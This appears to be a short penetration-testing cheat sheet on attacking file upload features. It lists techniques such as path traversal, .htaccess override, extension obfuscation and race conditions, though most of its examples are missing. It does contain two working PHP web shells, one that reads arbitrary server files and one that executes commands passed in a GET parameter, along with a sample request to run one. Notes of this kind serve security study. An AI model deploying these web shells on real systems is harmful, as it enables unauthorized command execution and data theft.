File Upload
Uploading a file on a website without validation.
"Content-Type" header:
"Content-Disposition" header:
Exploiting
PHP web shell upload
// Send in a HTTP request body
<?php echo file_get_contents('/path/to/target/file'); ?>// Send in a HTTP request body
<?php echo system($_GET['command']); ?>
// Usage in HTTP GET request
GET /example/exploit.php?command=id HTTP/1.1Web shell upload via path traversal
Overriding the server configuration
Load a directory-specific configuration from a file and edit it:
Obfuscating file extensions
In the "Content-Disposition" header, change the value of the filename parameter to:
Example:
or
Web shell upload via extension blacklist bypass (upload malicious .htaccess file)
Send request which upload file to server in Burp Repeater then:
Remote code execution via polyglot web shell upload
Exploiting file upload race conditions
Example:
Exploiting file upload vulnerabilities without RCE
Uploading malicious client-side scripts
Exploiting vulnerabilities in the parsing of uploaded files
Last updated
